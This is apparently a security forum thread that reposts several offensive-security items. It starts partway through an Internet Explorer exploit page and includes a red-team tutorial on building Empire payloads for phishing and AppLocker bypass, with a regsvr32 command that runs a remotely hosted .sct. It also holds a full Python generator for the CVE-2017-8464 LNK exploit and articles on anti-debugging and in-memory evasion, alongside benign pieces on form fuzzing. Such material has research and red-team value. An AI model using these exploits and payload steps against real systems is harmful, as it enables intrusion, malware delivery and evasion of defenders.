[PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html> Sursa: https://www.exploit-db.com/exploits/42354/
-
Empire without PowerShell.exe ON JULY 26, 2017 BY BNEG IN PENTESTING, RED TEAM Problem: The client has blocked Powershell.exe using AppLocker and I don’t have the dough for Cobalt Strike. I want to get an Empire payload on a workstation via a phishing campaign and I need payloads ready once I have a foothold. Nearly all of the launcher methods for Empire rely on the ability to use PowerShell.exe. Other methods like msbuild.exe requires dropping a file to disk, and I really liked the regsvr32 method of loading my .sct over the internet (it too drops a file to disk) and using a ducky. I also really appreciate the simplicity of VBA’s in documents or HTA’s. Problem is, Empire is a Powershell RAT so one way or another PowerShell has to run. One method that was suggested is calling an Empire.dll or Empire.exe over an internet accessible SMB share. I have yet to try that method but have been assured it works. My dislike for the SMB method is the outbound SMB connection, which will look pretty unusual to any defenders watching traffic. I’ll have to give it a go at some point, I’m sure. The three payloads I’m going cover: Build an empire.exe Build an empire.dll Build an empire.sct that doesn’t call powershell.exe The tools and resources we’re going to use are: SharpPick codebase by @sixdub DotNetToJS by James Foreshaw (@tiraniddo) AllTheThings by Casey Smith (@subtee) Visual Studio. Not strictly necessary, but it’s what I know and it’s free albiet a huge download. Presumably you could use csc.exe to build your project, but I haven’t tested it. I chose Visual Studio 2010 for PowerPick, though 2012 would probably work fine. That’s a lot of crap to download, I know. What’s nice about 2010/2012 is it comes with the older .NET libraries which are getting harder to find. I wouldn’t be able to do this without the above authors’ work, and I’m very grateful. What follows is simply putting together a few different pieces of great work to achieve a specific outcome that I was unable to find prior work for. *Note: In my research to do this, I came across two projects that are doing almost exactly the same thing, both of which utilize DotNetToJScript and neither of which worked for me. StarFighters (@Cn33liz). First, I’m pretty leery of running encoded binaries from the internet. This one contains an encoded powershell.exe, which receives and executes your launcher code. I tried it, and was able to get an Empire check-in, but not script execution. CACTUSTORCH (@vysecurity). I tried this as well, but it really wants to inject shellcode into a launched binary of your choosing, and I couldn’t figure out how to make my launcher into shellcode using SharpPick. It’s probably doable, I just don’t know how. The examples @vysecurity provide use a Cobalt Strike or a Meterpreter shellcode output. Build an Empire.exe I’ve commonly seen Cobalt Strike used with “updates.exe”, a stageless beacon. For Empire, you can do something similar with this method. Add this to an email pretext suggesting new anti-virus definitions need to be installed. Or run it via psexec or wmi, or as an embedded OLE object in Outlook (h/t @tyler_robinson). This is probably the simplest method of getting you an agent without calling Powershell.exe. To start, go get your copy of PowerPick via git, and open up the project in Visual Studio. First, you’ll want to obfuscate some of the project properties. Change the name of the program and assembly information. Get there by selecting from the menu “project -> SharpPick Properties”. Make sure to change the “Output Type” to “Windows Application” so it’ll run in the background after you double click or execute from the CLI. Click that “Assembly Information” button as well, and change those properties too. Now you’ll want to change the code in Program.cs to this (gist): Where the string “stager” contains only the base64 encoded Empire launcher information. This will get decoded and passed to RunPS() which sends the PowerShell command to System.Management.Automation, where the real PowerShell magic actually happens. This is tapping directly into the core of Windows. Now go to your menu and select “Build -> Build Solution” or hit “F6”. Your shiny new binary should be in “PowerTools\Empire_SCT\PowerPick\bin\x86\Debug”. ** You may get an error about ReflectivePick not building, that’s fine. You can suppress that error by going to “Build -> Configuration Manager” and deselecting “ReflectivePick” from the “Project Contexts”. We don’t need it. Test your binary by either double clicking the executable, or simply running it on the CLI. It should run in the background after you launch or execute it. Build an Empire.dll Maybe you need a DLL so you can use one of those sweet AppLocker bypasses Casey is always finding. A great example is rundll32.exe. In order to do this, we’re going to change our project a little bit, and add some entry points in our code. The code below comes directly from @subtee’s “AllTheThings”. Just like the EXE, open up the project and change those indicators. The other important thing you need to change in the project properties is the “Output Type”, which needs to be “Class Library”. You should probably set your “Startup Object” as well, to whatever it defaults to in the drop down (based on you namespace and class names). Next, install the nuget package manager for Visual Studio. Once that’s installed you’ll need to get the dependency “UnmanagedExports” by running: PM> install-package UnmanagedExports Next up, open that “Program.cs” and change your code to look like this in addition to a few “using” statements not shown but included in the gist: Again, go to “Build -> Build Solution” or hit “F6” and you should have a LegitLibrary.dll or whatever in your build directory (same as above). Test your new DLL by running: rundll32.exe LegitLibrary.dll,EntryPoint That should return a new agent to your Empire C2. If you look in Process Explorer, you’ll see rundll32 as a new running process. Build an Empire.sct This is probably the most complicated as it involves a number of steps. The end result is essentially this: stuff PowerShell into a .NET app, convert that .NET app into a base64 encoded binary in a javascript file, which is then stuffed into a .SCT. You can call that sct with regsvr32 which executes the JavaScript within the .SCT that lives on your web/file server. What we’re aiming for here is the Empire.exe payload, but converted into base64. The project options should be the same as you made for Empire.exe, in other words a “Windows Application”. The code is a bit different though as the JavaScript needs some public methods to reach into and execute our code (gist). Build that and go find your binary, it should be an exe. Next up, go download DotNetToJScript and open that project in Visual Studio, change it’s .NET target to “.NET version 3.5” (or 2.0) in project options and compile (build) it. Once it’s built, find the DotNetToJScript.exe and it’s companion NDesk.Options.dll and place those in the same place as your LegitScript.exe binary. run the following (-c is the entry point, change to your chosen namespace.class): .\DotNetToJScript.exe -c=LegitScript.Program -o=legitscript.js legitscript.exe That should output a legitscript.js. DotNetToJScript outputs in a couple of other languages including VBA and VBScript for embedding in Office documents or what ever else you might need. You can test it before proceeding to the next steps by running: wscript.exe legitscript.js That should launch a new agent on your workstation in the background. It’ll be running as “wscript” in your process monitor. If you’ve confirmed that as working, it’s time to wrap it into a .sct so we can call it with regsvr32.exe. Place the entire contents of legitscript.js into the CDATA tag (picture below). You can get the XML format in Empire by using: (Empire: usestager windows/launcher_sct The settings don’t matter, but you can set them to your listener and make sure “OutFile” is set to null or “” no value as this will print the content to screen. If you’re getting the contents from Empire, strip everything out of the CDATA tag, and replace it with your legitscript.js. Save that as 2legit.sct and test with: regsvr32 /s /n /u /i:2legit.sct scrobj.dll Which, again, should return a new agent. You can save that .sct to your web or file server and call it remotely replacing the “/i:” with “/i:https://example.com/2legit.sct”. This is an AppLocker bypass as regsvr32.exe is a Microsoft signed binary. Conclusion PowerShell is awesome, and attackers have been using it for years now. The best advice we’re giving to clients is to keep their environments locked down with PowerShell Constrained Mode, disable PowerShell v2, and upgrade PowerShell across the enterprise to the latest which supports Script Block Logging. It’s pretty difficult and almost unrealistic to keep PowerShell from executing in your environment, so at least know when and how it’s being used. Thanks to @subtee for engaging with me on some ideas, @vysecurity for answering questions, and all the giants and project authors who have made this even possible. Sursa: https://bneg.io/2017/07/26/empire-without-powershell-exe/
-
Testing Multi-Step Forms By Michael Skiba, 26 July 2017 In this two-part blog, we will be discussing multi-step forms. In part 1, we will see how multi-step forms affect scoping a test; while in part two we will go through techniques involved in testing multi-step forms. Before we delve into the details, let’s cover some basics. What Is a Form? A form is used on webpages to let users submit data to the application and interact with it. The reasons for them are manifold and their use are essential to an interactive internet: Be it ordering a pizza online, writing a forum post or just checking the weather in a certain zip code , each requires user input, that is usually collected through forms. Below is an example for a simple contact form that lets the user submit a contact request. All the necessary data is collected in a form on page 1 (S1) and is then sent, processed and output in a single request (S2). Figure 1: A single page contact form with 13 input fields What is a multi-step form? A multi-step form is spread across several pages and requires the user to follow a specific route comprised of several steps/forms (e.g. by clicking the next button several times), before the actual processing of the data happens. This can often be seen on insurance or banking sites when applying for an insurance policy or a credit, e-commerce/bidding websites, quiz applications, etc. These forms usually require a lot of information (personal data, financial data, property details …). Below is an example of a simple multi-step form where input data is collected on page 1 (S1) and page 2 (S2) and sent to the server respectively. Upon requesting page 3 the server processes the data that has previously been collected and outputs the result. This decoupling of input and output makes testing and especially input ‘fuzzing’ (we’ll learn about that in a few seconds) a tad bit more complex. Figure 2: A multi-step form with two input pages (8 + 5 = 13 input fields) and one result page Part 1 - Scoping pitfalls When scoping (i.e. estimating the necessary time for a test) applications, multi-step forms can constitute a hike in the amount of effort required for the overall project. But why is that? The reason for this lies in the nested nature of these forms and the different combinations of input and output that unfold a whole lot of possibilities. But first things first: What is “fuzzing”? (a.k.a. “Throwing stuff at a wall and see what sticks”) An integral part of every penetration test (“pentest”) is input and output validation. This is usually done both manually and automatically and ensures that potentially malicious data is escaped properly, before being processed/stored/displayed. Typical examples for this type of vulnerability include Cross-Site Scripting (XSS), SQL Injections, local and remote file inclusion, and remote code execution. During an average test, a single input field is tested on average with around 1000 different payload strings. Each submitted payload has to be checked to see if it deviates from the normal behaviour of the application, e.g. is the input ‘reflected’ (in layman’s terms: shown on the page somewhere) on another page? If so, is it safely escaped or does it break out of the page syntax and enable the execution of script code? Another metric could be the time needed for the response to return, to see if the payload might have triggered something in the background, even if the payload string is not reflected on the page. Naturally these checks become more complicated if the input and output processing is spread across several pages. Example Scoping Calculation (simplified) Let’s assume we are scoping the effort required to test the contact form shown above (fig. 1.) It is a single form with 13 input fields that are entered on the first page and are immediately processed when the ‘Send message!’ button is clicked. For the sake of simplicity, let’s assume there is no session to keep track of, or other complex back-end functions. This equates to a rather easy calculation of 13*1000 = 13, 000 requests. With a multi-step form this becomes slightly more difficult, because: The input can be reflected at various places during the process; A user could move back and forth between the pages (a page might restore previously set values); and, The server needs to keep track of a session state (i.e. a cookie). Therefore, instead of having just one workflow there are several different ‘runs’ (example, fig 2). A common mistake that can be seen in the wild is when input validation tests carried out automatically using a tool (e.g. burp) are performed on individual steps only, without going all the way from the beginning to the end of a multi-step form. This is usually a limitation of the testing approach, rather than the tool itself. With such an approach, one only sees a small piece of the picture and might miss critical information. Naïve approach Consider testing the multi-step process described in fig 2. This form is divided into three pages: ‘Personal Details’, ‘Payment Details’ and ‘Summary’. A naïve tester assessing individual steps only, will in a first step test the 8 input fields with 1000 different payloads per input field and will always get the ‘Payment Details’ page as response. This page however does not process or reflect any input from the form on page 1, instead it only contains another form with five input fields. This naïve approach will therefore not identify a XSS vulnerability that might be present, for example in the address field. In a second step, the tester might want to test the input fields of the second page. However, the tester could face two show-stoppers here. Firstly, the server could invalidate the session if it’s keeping track of the previous entries. This commonly happens when one tries to access multi-step forms out of the intended order, e.g. directly accessing page 2, without going through page 1 first. Secondly, the forms on page 1 and page 2 might be processed differently. In our example, many input fields of page 1 are reflected on the summary page, whereas input fields of page 2 are heavily masked. The naïve approach, where page 1 and page 2 are tested individually, would roughly take 8*1000 (page 1) + 5*1000 (page 2) = 13.000 requests. Thorough approach We’ve seen a naïve approach, but how would a thorough, or ‘proper’ approach work? One would always start from the beginning of the multi-step form, ‘go to’ the place where the fuzzing is supposed to happen and then ‘walk’ through to the end of the multi-step form. It is important to stress that the end is not necessarily the last page of the workflow, it is rather the step where one wants to check for a potential reflection. Where could this be? It is not only the obvious summary page that displays the information entered in page 1 and page 2. It can also be that the server tries to do us a favour and automatically fills in previously entered information when going back and forth between the pages. So let’s look at the fuzzing workflows for our example from fig.2, an easy multi-step form with 8 input fields on the first and another 5 input fields on the second page. At the end of the multi-step form is single summary page: 1) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. 2) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 1. 3) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 2. 4) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. 5) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 1. 6) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 2. 7) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. From here go back to page 1. As we can see, properly fuzzing all the logical flows through the multi-step form accumulates quite a few requests. In our example, it takes 167.000 requests, which is a factor of almost 13 times versus the naïve approach that can be utilised for a single-step contact form. More importantly, this figure grows exponentially with increasing number of steps. Conclusions So, will a multi-step form always increase the effort required? Not necessarily. It pretty much depends on the individual process and how and when data is processed, as well as which logical flows are permitted. A good understanding of the possible and permitted workflows on both sides is essential to a satisfying scoping. For a tester it is important to know about these flows and how to properly utilise their tools to align to these workflows. But that is a tale for another blog post … Contact and Follow-Up Michael works in our Assurance team, from our Essen office. See the contact page for ways to get in touch. Sursa: https://www.contextis.com/resources/blog/testing-multi-step-forms/
-
AntiDBG AntiDBG is a collection of Windows Anti Debugging techniques. The techniques are categorized by the methods they use to find a debugger. Memory CPU Timing Forced Exceptions AntiDBG API AntiDBG is written in C and requires only a single source file and header. Nearly all of these methods are designed to take no input and produce no output. They aim to be self-contained debugger checks that will automatically detach debuggers. Obfuscation AntiDBG is designed to be readable so the user can learn about the techniques. If you choose to use these methods in your own project, you will benefit greatly by adding obfuscation on top of these methods. Obfuscation is not the aim of this project. The Gauntlet The Gauntlet is a simple application that runs each AntiDBG check one after the other. It's purpose is to test your ability to bypass the anti-debugging methods and make it to the end of The Gauntlet while running under a debugger. Want to make The Gauntlet harder? Undefine SHOW_DEBUG_MESSAGES (defined by default in antidbg.c). This option produces a message box when you get caught with information about the check that got you. Troubleshooting Help! This thing won't compile! AntiDBG was developed using Microsoft Visual Studio 2015 building as Release x86. If you are getting compiler errors, ensure you are building for x86. Many of these methods will work on x64 however they may require modification where inline assembly is used. Help! X method doesn't seem to work. Many anti-debugging checks focus on odd edge cases or very specific structures which may or may not be set on certain versions of Windows, or they may act differently under emulation. Some checks require the the debugger to step over the check, while others do not. All methods in AntiDBG have been tested under the conditions which they are designed work on Windows 10 64-bit. Most (if not all) should work on all over versions of Windows as well. AntiDBG shies away from checks which can only be used against specific debuggers or versions of Windows. Can I get more information? Sure. Check out a YouTube series that covers all of these methods. The first video can be located here: https://www.youtube.com/watch?v=UenXxfo8d5w Sursa: https://github.com/cetfor/AntiDBG
-
- 1
-
-
Red Teams Advance In-Memory Evasion Tradecraft CHRIS GERRITZ THREAT HUNTING, MALWARE The interaction between red and blue teams during and following exercises are the best opportunities for lessons learned and progressing our respective crafts. When the red team gets caught or can't get in, that's feedback forcing them to improve their trade craft. When the blue team misses something, the feedback from red after they present their plunder (i.e. control of your domain or access to critical data) forces them to adapt to more advanced techniques. This process is only possible in the red/blue relationship, as real adversaries typically don't give feedback. A recent case of this cat and mouse game involves the modern trend of hiding in the volatile memory (sometimes called a "File-less Attack") which has been very successful in eluding anti-virus and hunters alike. Infocyte provides our customers with unique, advanced techniques for scalable volatile memory analysis, which makes the process for finding in-memory threats much easier and exponentially more effective at scale. But as with anything in security, human ingenuity will find a way. Below are three such techniques that red teams and real-world attackers recently released to hide better in memory. In this two part post, we'll look at three of the latest techniques that have surfaced to thwart advanced memory scanning techniques, such as those used by Infocyte. In a follow-up post we'll talk about advances made by Infocyte to make scaled memory analysis more robust and difficult to counter. 1. Reduced Memory Protections Of the stealthy (non OS registered) process injection techniques available to attackers: Reflective DLL Injection Process Hallowing Memory Module APC Injection Almost all implementations allocate liberal permissions (RWX) on their memory pages. As a result, Infocyte and some in the DFIR community have utilized a very reliable technique of scanning process memory pages for modules loaded with improper memory protections. This technique has served us well for YEARS with few modifications, as memory analysis (i.e. using Volatility or Rekall) has historically not been scalable enough to find a hidden beachhead. While some threat actors at the higher tiers caught on, we still see what many call "advanced" actors using this lazy method to allocate memory (even Equation Group's DoublePulsar and Russian rootkits like Uroburos make this mistake). We're calling it though; our observations mark 2017 as an official shift of attacker and red teamer trends to reduce permissions after allocation to make their malware "non-writable". This isn't a death blow to memory scanning by any means but it does increase the noise that defenders and memory analysis solutions like Infocyte have to work through as we expand the search and run into legitimate in-memory compiled processes like .NET and Java applications. Impact to Defenders: Medium-Low. Memory analysts and hunters will have to expand if they were using such assumptions to achieve scale. Expanding the search is trivial but managing falses takes effort. Infocyte is already using this expanded search but scoring had to be updated to negate earlier assumptions of attacker trade-craft. 2. Maleable PE Earlier this year, the red teaming framework, Cobalt Strike, written and maintained by Raphael Mudge, received a few updates (Blog: "Cat, Meet Mouse") to help hide their implant when injected into a common windows process like explorer or lsass. The new feature, called Maleable PE, enables red teams to arbitrarily manipulate the Portable Executable (PE) header of its’ implant (called “Beacon”) to avoid the implant from being categorized as an injected module. Two primary techniques in particular forced us to respond: Prepended NOPs. By prepending No Operation (NOP) assembly instructions to the beginning of the PE file, Beacon now trips up older memory analysis frameworks that use static offsets for PE signatures. You see, normally, malware is injected into byte 0 of its newly allocated memory pages. By placing garbage in front of the PE header, any technique that attempts to pattern match the header using static offsets will fail. String Replace. Another technique is used to replace certain strings that you typically find in PE headers (like "This program cannot be run in DOS mode") or zeroing out parts of the MZ and PE markers after they are no longer needed. This technique is more experimental as you can easily kill your PE's chance of ever executing if done incorrectly but like the NOP technique above, it can really trip up anyone relying on static PE signatures to identify process injection. Impact to Defenders: PITA The latest version (2.9) of Infocyte HUNT uses a new model we've been working on for confirming memory injected modules without relying on static offsets or PE signatures. This video demonstrates how to influence (some) Beacon memory indicators with a Malleable C2 profile. https://www.cobaltstrike.com/help-malleable-c2#memory 3. Gargoyle Written as a proof of concept by Josh Lospinoso, Gargoyle is a technique for hiding all of a program’s executable code in non-executable memory when it is inactive. At a pre-defined interval, gargoyle will wake up and temporarily mark itself executable to do some work. Basically, it takes advantage of the fact that live memory analysis has a cost and the once valid assumption was that a program must reside in executable memory meant an analyst could safely limit analysis there. Since executable code pages represent less than 10% of total memory on most systems, limiting analysis there offers orders of magnitude better performance to a full memory scan. Check out the POC write-up here: https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html The big problems here are the code is read-only during most of its life and the APC call used to wake Gargoyle is not something that can be trivially enumerated. This represents a challenge to memory analysis at scale. Impact to Defenders: Actually it's not THAT bad... the good news is that this is only a proof of concept and no use of the technique has been seen in the wild. The bad news, for the paranoid, is it still hasn't been seen in the wild. There is some more good news though. Our research has shown the technique has some stability issues and will require a persistence mechanism (such as in the registry) to keep it going. Additionally, behavior-based advanced endpoint protection products should be able to make a signature for the unique ROP chain it’s forced to do to wake itself up. Sursa: https://www.infocyte.com/blog/2017/7/10/red-teams-advance-in-memory-evasion-tradecraft
-
#!/usr/bin/python # -*- coding: utf-8 -*- # Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability # CVE : 2017-8464 # Authors : [ykoster, nixawk] # Notice : Only for educational purposes. # Support : python2 import struct def generate_SHELL_LINK_HEADER(): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | HeaderSize | # ----------------------------------------------------------------- # | LinkCLSID (16 bytes) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | LinkFlags | # ----------------------------------------------------------------- # | FileAttributes | # ----------------------------------------------------------------- # | CreationTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | AccessTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | WriteTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | FileSize | # ----------------------------------------------------------------- # | IconIndex | # ----------------------------------------------------------------- # | ShowCommand | # ----------------------------------------------------------------- # | HotKey | Reserved1 | # ----------------------------------------------------------------- # | Reserved2 | # ----------------------------------------------------------------- # | Reserved3 | # ----------------------------------------------------------------- shell_link_header = [ b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes) b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046} b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes) b'\x00\x00\x00\x00', # "FileSize" : (4 bytes) b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes) b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes) b'\x00\x00', # "HotKey" : (2 bytes) b'\x00\x00', # "Reserved1" : (2 bytes) b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes) b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes) ] return b"".join(shell_link_header) def generate_LINKTARGET_IDLIST(path, name): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | IDListSize | IDList(variable) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # IDList = ItemID + ItemID + ... + TerminalID # ItemID = ItemIDSize + Data def generate_ItemID(Data): itemid = [ struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data) Data ] # ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data) # return ItemIDSize + Data return b"".join(itemid) def generate_cpl_applet(path, name=name): name += b'\x00' path += b'\x00' bindata = [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00', struct.pack('H', len(path)), struct.pack('H', len(name)), path.encode('utf-16')[2:], name.encode('utf-16')[2:], b"\x00\x00" # comment ] return b"".join(bindata) idlist = [ # ItemIDList generate_ItemID('\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'), generate_ItemID('\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'), generate_ItemID(generate_cpl_applet(path)), b'\x00\x00', # TerminalID ] idlist = b"".join(idlist) idlistsize = struct.pack('H', len(idlist)) linktarget_idlist = [ idlistsize, idlist, ] return b"".join(linktarget_idlist) def generate_EXTRA_DATA(): # ExtraData refers to a set of structures that convey additional information about a link target. These # optional structures can be present in an extra data section that is appended to the basic Shell Link # Binary File Format. # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS / # ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS / # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS / # SHIM_PROPS / SPECIAL_FOLDER_PROPS / # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS # SpecialFolderDataBlock # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | BlockSize | # ----------------------------------------------------------------- # | BlockSignatire | # ----------------------------------------------------------------- # | SpecialFolderID | # ----------------------------------------------------------------- # | Offset | # ----------------------------------------------------------------- extra_data = [ b'\x10\x00\x00\x00', b'\x05\x00\x00\xA0', b'\x03\x00\x00\x00', b'\x28\x00\x00\x00', b'\x00\x00\x00\x00' # TERMINAL_BLOCK ] return b"".join(extra_data) def ms_shllink(path, name=b"Microsoft"): '''build Shell Link (.LNK) Binary File Format''' lnk_format = [ # Structures # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] # [STRING_DATA] *EXTRA_DATA # SHELL_LINK_HEADER: # A ShelllinkHeader structure which contains identification information, timestamps, and # flags that specify the presence of optional structures. generate_SHELL_LINK_HEADER(), # LINKTARGET_IDLIST: # An optional LinkTargetIDList structure, which specifies the target of the link. The # presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader. # # generate_LINKTARGET_IDLIST(path, name), # LINKINFO: # An optional LinkInfo structure, which specifies information necessary to resolve the link target. # The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader. # STRING_DATA: # Zero or more optional StringData structures, which are used to convey user interface and path # identification information. The presence of these structures is specified by bits in the ShellLinkHeader. # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR] # [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION] # EXTRA_DATA: # Zero or more ExtraData structures generate_EXTRA_DATA() ] return b"".join(lnk_format) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability") print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0]) sys.exit(0) lnkpath = sys.argv[1] dllpath = sys.argv[2] bindata = ms_shllink(path=dllpath) with open(lnkpath, 'w') as lnkf: lnkf.write(bindata) ## References # 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464 # 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx # 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf # 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf # 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files # 6. https://twitter.com/mkolsek/status/877499744704237568 # 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g # 8. https://github.com/rapid7/metasploit-framework/pull/8767 Sursa: https://github.com/nixawk/labs/tree/master/CVE-2017-8464
-
@co4ie Nu eu, ala care nu a facut update la tema l-a stricat. Verific zilnic sa vad cand apare versiunea OK. @BogdanNBV Stiu, asa e si la mine, e tot de la tema.
-
Cracking the Lens: Targeting HTTP's Hidden Attack Surface James Kettle - james.kettle@portswigger.net - @albinowax Modern websites are browsed through a lens of transparent systems built to enhance performance, extract analytics and supply numerous additional services. This almost invisible attack surface has been largely overlooked for years. In this paper, I'll show how to use malformed requests and esoteric headers to coax these systems into revealing themselves and opening gateways into our victim's networks. I'll share how by combining these techniques with a little Bash I was able to thoroughly perforate DoD networks, trivially earn over $30k in vulnerability bounties, and accidentally exploit my own ISP. While deconstructing the damage, I'll also showcase several hidden systems it unveiled, including not only covert request interception by the UK's largest ISP, but a substantially more suspicious Colombian ISP, a confused Tor backend, and a system that enabled reflected XSS to be escalated into SSRF. You'll also learn strategies to unblinker blind SSRF using exploit chains and caching mechanisms. Finally, to further drag these systems out into the light, I'll release Collaborator Everywhere - an open source Burp Suite extension which augments your web traffic with a selection of the best techniques to harvest leads from cooperative websites. Outline Introduction Methodology Listening Research Pipeline Scaling Up Misrouting Requests Invalid Host Investigating Intent - BT Investigating Intent - Metrotel Input Permutation Host Override Ambiguous Requests Breaking Expectations Tunnels Targeting Auxiliary Systems Gathering Information Remote Client Exploits Preemptive Caching Conclusion Download: https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface-wp.pdf
-
Wednesday, July 26, 2017 Web Cache Deception Attack: White Paper The Web Cache Deception attack vector was first published in this blog on February 2017. Since then, I presented it on Black Hat USA 2017 and BSides Tel-Aviv 2017. Now, I'm proud to release a white paper explaining all about this attack, including: - Attack methodology - Implications - Conditions - Known web frameworks and caching mechanisms that meet the attack conditions - Mitigations Web Cache Deception Attack White Paper, July 2017 In addition, you can find the presentation used in the Black Hat USA 2017 conference. Huge thanks to all those who assisted along the way: Sagi Cohen, Bill Ben Haim, Sophie Lewin, Or Kliger, Gil Biton, Yakir Mordehay, Hagar Livne Would love to receive your feedback here and on Twitter (@omer_gil). Enjoy! Posted by Omer Gil at 1:19:00 PM Sursa: https://omergil.blogspot.ro/2017/07/web-cache-deception-attack-white-paper.html
-
- 1
-
-
